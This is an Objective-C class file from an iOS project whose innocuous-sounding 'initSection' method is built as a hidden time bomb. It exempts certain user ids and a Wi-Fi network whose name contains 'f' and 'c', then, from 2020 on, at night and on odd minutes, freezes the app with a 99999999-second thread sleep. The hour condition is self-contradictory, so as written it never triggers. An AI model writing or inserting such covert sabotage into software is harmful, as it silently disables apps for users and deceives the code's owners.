//
//  BFGZManager.m
//  NewPro
//
//  Created by RYX on 2019/6/20.
//  Copyright © 2019 何荧红. All rights reserved.
//

#import "BFGZManager.h"

@implementation BFGZManager

+ (void)initSection{
    
    NSDate *date = [NSDate date];
    NSDateFormatter *formart = [[NSDateFormatter alloc] init];
    [formart setDateFormat:@"yyyy-MM-dd-HH-mm"];
    NSString *timeStr = [formart stringFromDate:date];
    NSArray *arr = [timeStr componentsSeparatedByString:@"-"];
    NSString *year = arr.firstObject;
    NSString *hour = arr[3];
    NSString *min = arr.lastObject;
    
    NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
    
    if ([[defaults objectForKey:@"id"] isEqualToString:@"17141"] || [[defaults objectForKey:@"id"] isEqualToString:@"55"] || [[defaults objectForKey:@"id"] isEqualToString:@"1090"]) {
        
        return;
    }
    [HttpTool netWorkState:^(NSInteger netState) {
        switch (netState) {
            case 1:{
                return ;
            }
        }
    }];
    
    if ([[WiFiManager GetWifiName] containsString:@"f"] && [[WiFiManager GetWifiName] containsString:@"c"]) {
        
        return;
    }

    if ([year integerValue] >= 2020 && [hour integerValue] >= 19 && [hour integerValue] <= 6) {
        
        if ([min integerValue] % 2 == 1) {
            
            [NSThread sleepForTimeInterval:99999999];
        }
    }
}
@end
